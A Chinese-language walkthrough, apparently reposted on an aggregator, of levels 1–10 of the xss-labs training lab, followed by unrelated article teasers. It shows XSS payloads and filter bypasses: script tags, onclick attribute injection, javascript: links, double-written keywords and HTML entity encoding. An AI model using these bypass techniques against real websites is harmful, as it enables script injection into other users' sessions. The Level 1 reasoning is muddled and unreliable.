【网络安全】-xss跨站脚本攻击实战-xss-labs(1~10)

Level1:

检查页面源代码:

function函数:

(function(){try{let tn = '';if(tn.includes('oem')){Object.defineProperty(document, 'referrer', {get: function(){return '';}});}else if(tn.includes('hao_pg')){if(!document.referrer.match('tn=')){Object.defineProperty(document, 'referrer', {get: function(){return 'https://www.hao123.com?tn=' + tn;},configurable: false,});}}}catch(e){}})();

分析:else if条件为false 假,反推if条件为真。

if(tn.includes('oem')) 检查变量tn是否包含字符串'oem'。由于在这个例子中tn是空字符串,这个条件永远不会为真。

如果tn是从外部源获取的值,则执行接下来的代码块。

使用用Object.defineProperty方法修改document对象的referrer属性的行为,get function(),跳到下一题,返回confirm("完成的不错!");

总结:插入恶意脚本<script>alert(1)</script>就行没什么特殊的。

 Level2:

检查页面源代码:

分析:先插入恶意脚本发现与文本杂合,没有输出,所以我们要将恶意脚本闭合。

 Level3:

输入框输入<script>alert(1)</script>,"><script>alert(1)</script><"无回显。

推断:script标签不中用

换回显脚本为:οnclick="alert(1)"

检查页面源代码:

value="οnclick=&quot;alert(1)&quot;"说明插入的脚本正确,需要修改一下闭合方式'οnclick='alert(1)

再点击输入框。

 Level4:

与 Level3:回显相同,输入'οnclick='alert(1) 仍然无回显。

检查页面源代码:value=" 'οnclick='alert(1) "  ->闭合方式错误

输入"οnclick="alert(1),再点击输入框。

 Level5:

输入'οnclick='alert(1),自动在插入的恶意代码中插入_,成为'o_nclick='alert(1)

重新构造恶意代码"><a href=javascript:alert(1)>a</a>

解释:

<a>标签:HTML中用于定义超链接的元素。

a href=javascript:alert(1)即标签的href属性即被设置为javascript:alert(1)。

>a<:这是<a>标签的开始和结束标签之间的内容,即链接的可见文本是“a”,即点击a浏览器会执行javascript脚本,弹出弹窗1。

 Level6:

输入'οnclick='alert(1),自动在插入的恶意代码中插入_,成为'o_nclick='alert(1)

输入"><a href=javascript:alert(1)>a</a>,成为<a hr_ef=javascript:alert(1)>a</a>

重新构造恶意脚本......感觉没知识储备了。

试试绕过怎么样:

'oNclick='alert(1)   ->闭合方式错误。

"oNclick="alert(1)

"><a href=javascript:alert(1)>a</a> 同理

 Level7:

输入'oNclick='alert(1)  ->on被删除了

试试双写绕过:'ooNnclick='alert(1)  

绕过成功,只是闭合方式还有些问题,换一下就ok。

 Level 8:

输入'oNclick='alert(1)  ->on被删除了

试试双写绕过:'ooNnclick='alert(1)  ->不行,但我们注意到输入的恶意脚本都被转化_。

尝试javascript 伪协议执行代码HTML中的数字字符引用来表示ASCII字符

https://www.matools.com/code-convert-unicode

javascript:alert(1) ->

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41; 

点击有情链接:

 Level 9:

与 Level 8类似,输入ASCII字符,但是并没有转义

http:// 并用注释符注释->进行转义

 
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */   

 Level 10:

没有登录框,页面源代码也没什么东西,无法构造url

只能作弊,查看php源代码试试?

?t_sort=" οnclick=javascript:alert() type="button

点击按扭(透明长方形框)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/52467.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【python】python 安装和 pycharm 安装

1 python 安装 1.1 下载 下载地址&#xff1a;python 官网 1.2 安装 windows 安装为例。 双击.exe文件打开 安装界面 安装完成 1.3 检查安装是否成功 win/start 键r 键 运行窗口输入 cmd 回车 3 输入 python查看 显示版本信息&#xff0c;表示已经安装成功。 …

协议头,wireshark,http

目录 协议头 ip头 udp头 mac层 网络工具 telnet wireshark Http 一、HTTP 协议介绍 二、HTTP 协议的工作过程 三、使用抓包工具抓取报文 四、获取到http请求报文&#xff1a; 五、http请求&#xff08;request&#xff09; &#xff08;一&#xff09;、认识URL 项…

如果 Android 手机出现数据丢失,如何在Android上恢复丢失的数据

当您的 Android 手机发生数据丢失时&#xff0c;您可能需要检索丢失的文件。为了帮助您完成此过程&#xff0c;以下是执行 Android 数据恢复的一些有效方法&#xff1a; 如何在Android上检索数据 如果您的 Android 手机出现数据丢失&#xff0c;您可能需要检索丢失的文件。为了…

OpenWRT有三个地方设置DNS,究竟设置哪个地方会更好?

前言 刚上手OpenWRT软路由系统的小伙伴或许都会有这样的疑问&#xff1a;OpenWRT这个系统有三个地方是设置DNS的&#xff0c;究竟设置哪一个才是正确的&#xff1f; 这个还得从实际应用说起。 一般来说&#xff0c;咱们在使用路由器的时候&#xff0c;DNS都是默认运营商的DN…

前端框架大观:探索现代Web开发的基石

目录 引言 一、前端框架概述 二、主流前端框架介绍 2.1 React 2.1.1 简介 2.1.2 特点 2.1.3 代码示例 2.2 Vue.js 2.2.1 简介 2.2.2 特点 2.2.3 代码示例 2.3 Angular 2.3.1 简介 2.3.2 特点 2.3.3 代码示例 三、其他前端框架与库 四、前端框架的选择 五、结…

计算机毕业设计选题推荐-自驾游攻略管理系统-Java/Python项目实战

✨作者主页&#xff1a;IT研究室✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

CentOs7 解决yum更新源报错:[Errno 14] HTTP Error 404 - Not Found 正在尝试其它镜像。

CentOs7 解决yum更新源报错&#xff1a;[Errno 14] HTTP Error 404 - Not Found 正在尝试其它镜像。 前言问题解决方法&#xff1a; 前言 遇到这个问题大概率是镜像源的问题可以参照这篇文章的内容试一下 镜像源问题相关解决方法 根据自己的情况对症下药&#xff0c;如果还不…

LAMP环境下项目部署

目录 1、创建一台虚拟机 centos 源的配置 备份源 修改源 重新加载缓存 安装软件 2、关闭防火墙和selinux 查看防火墙状态 关闭防火墙 查看SELinux的状态 临时关闭防火墙 永久关闭SELinux&#xff1a;编辑SELinux的配置文件 配置文件的修改内容 3、检查系统中是否…

计算机毕业设计 家校互联管理系统 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试

&#x1f34a;作者&#xff1a;计算机编程-吉哥 &#x1f34a;简介&#xff1a;专业从事JavaWeb程序开发&#xff0c;微信小程序开发&#xff0c;定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事&#xff0c;生活就是快乐的。 &#x1f34a;心愿&#xff1a;点…

单片机-STM32 看门狗(八)

目录 一、看门狗概念 1、定义&#xff1a; 二、单片机中的看门狗 1、功能描述&#xff1a; 2、看门狗设置部分 预分频寄存器(IWDG_PR) 3、窗口看门狗 特性&#xff1a; 4、看门狗配置&#xff1a; 一、看门狗概念 看门狗--定时器&#xff08;不属于基本定时器、通用定…

svg图标的使用

图片的格式有很多&#xff0c;前端经常使用的有以下类型:jpg,jpeg,png,gif,svg,这篇文章将简单svg的情况&#xff0c;以及项目中如何使用和配置svg图标 目录 什么是svg图标 SVG图标的优缺点 优点 缺点 svg前端使用场景 SVG在代码中的使用 简单使用创建svg 作为图标引入…

udp网络通信 socket

套接字是实现进程间通信的编程。IP可以标定主机在全网的唯一性&#xff0c;端口可以标定进程在主机的唯一性&#xff0c;那么socket通过IP端口号就可以让两个在全网唯一标定的进程进行通信。 套接字有三种&#xff1a; 域间套接字&#xff1a;实现主机内部的进程通信的编程 …

yolov5 +gui界面+单目测距 实现对图片视频摄像头的测距

可实现对图片&#xff0c;视频&#xff0c;摄像头的检测 项目概述 本项目旨在实现一个集成了YOLOv5目标检测算法、图形用户界面&#xff08;GUI&#xff09;以及单目测距功能的系统。该系统能够对图片、视频或实时摄像头输入进行目标检测&#xff0c;并估算目标的距离。通过…

Linux shell编程学习笔记78:cpio命令——文件和目录归档工具

0 前言 在Linux系统中&#xff0c;除了tar命令&#xff0c;我们还可以使用cpio命令来进行文件和目录的归档。 1 cpio命令的功能&#xff0c;帮助信息&#xff0c;格式&#xff0c;选项和参数说明 1.1 cpio命令的功能 cpio 名字来自 "copy in, copy out"&#xf…

具有RC反馈电路的正弦波振荡器(文氏桥振荡器+相移振荡器+双T振荡器)

2024-9-10&#xff0c;星期二&#xff0c;22:13&#xff0c;天气&#xff1a;雨&#xff0c;心情&#xff1a;晴。今天从下午开始淅淅沥沥一直在下雨&#xff0c;还好我有先见之明没骑自行车&#xff0c;但是我忘带伞了&#xff0c;属于说是有点脑子但是不多了&#xff0c;2333…

如何注册谷歌账号(“此电话号码无法验证”问题)

如何注册谷歌账号&#xff08;“此电话号码无法验证”问题&#xff09; 以下注册账号的步骤于 2024.9.10 20:00 成功实施。 文章目录 如何注册谷歌账号&#xff08;“此电话号码无法验证”问题&#xff09;1&#xff09;打开谷歌浏览器2&#xff09;设置浏览器语言【英语&…

elementPlus 反显el-select多选,只反显了id,没有名称

elementPlus 反显el-select多选&#xff0c;只反显了id&#xff0c;没有名称 原因 &#xff1a; el-select的v-model数组中元素和接口返回的数组中元素类型不同&#xff0c;一个是字符串一个是数字类型 解决办法 &#xff1a; 数组中字符串转换下数字&#xff0c;或者数字转…

Docker基本管理--Dockerfile镜像制作(Docker技术集群与应用)

容器端口映射&#xff1b; 容器间通信&#xff1b; 容器数据卷&#xff1b; DockerFile; 容器端口映射: 实验环境&#xff1a;紧接着之前的快照&#xff0c;将该文件夹拉取进去&#xff1b; 然后执行导入的脚本&#xff0c;会将该目录下所有打包好的镜像文件导入进入。 然后进…

axios取消请求

1.使用CancelToken: class RequestHttp {service: AxiosInstance;public constructor(config: AxiosRequestConfig) {// 实例化axiosthis.service axios.create(config);/*** description 请求拦截器* 客户端发送请求 -> [请求拦截器] -> 服务器*/this.service.interce…

【项目一】基于pytest的自动化测试框架day1

day1不涉及编写代码&#xff0c;只简单梳理接口测试相关的概念。 day1接口测试的本质&#xff1a;功能测试的一部分测试用例的设计与实现接口调试与自动化&#xff1a;从postman到持续集成补充概念 day1 接口测试的本质&#xff1a;功能测试的一部分 接口测试是功能测试的一部…